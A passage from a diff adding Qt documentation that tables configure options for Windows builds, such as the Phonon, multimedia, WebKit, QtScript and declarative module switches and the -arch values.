+ decent C++ compiler is used. This option denotes a default value and needs + to be evaluated. If the evaluation succeeds, the feature is included. + \row \o \c {-no-phonon-backend} \o Do not compile the platform-specific + Phonon backend-plugin \o + \row \o \c {-phonon-backend} \o Compile in the platform-specific Phonon + backend-plugin \o Defualt value. + \row \o \c {-no-multimedia} \o Do not compile the multimedia module \o + \row \o \c {-multimedia} \o Compile in multimedia module \o Defualt value. + \row \o \c {-no-audio-backend} \o Do not compile in the platform audio + backend into QtMultimedia \o + \row \o \c {-audio-backend} \o Compile in the platform audio backend into + QtMultimedia \o This option denotes a default value and needs to be + evaluated. If the evaluation succeeds, the feature is included. + \row \o \c {-no-webkit} \o Do not compile in the WebKit module \o + \row \o \c {-webkit} \o Compile in the WebKit module \o WebKit is built + if a decent C++ compiler is used. This option denotes a default value + and needs to be evaluated. If the evaluation succeeds, the feature is + included. + \row \o \c {-webkit-debug} \o Compile in the WebKit module with debug + symbols. \o + \row \o \c {-no-script} \o Do not build the QtScript module. \o + \row \o \c {-script} \o Build the QtScript module. \o This option + denotes a default value and needs to be evaluated. If the evaluation + succeeds, the feature is included. + \row \o \c {-no-scripttools} \o Do not build the QtScriptTools module. \o + \row \o \c {-scripttools} \o Build the QtScriptTools module. \o This + option denotes a default value and needs to be evaluated. If the + evaluation succeeds, the feature is included. + \row \o \c {-no-declarative} \o Do not build the declarative module \o + \row \o \c {-declarative} \o Build the declarative module \o This option + denotes a default value and needs to be evaluated. If the evaluation + succeeds, the feature is included. + \row \o \c {-no-declarative-debug} \o Do not build the declarative debugging + support \o + \row \o \c {-declarative-debug} \o Build the declarative debugging support + \o Defualt value. + \row \o \c {-arch } \o Specify an architecture. \o Available values for + : * windows, windowsce, symbian, boundschecker, generic. + \row \o \c {-no-style-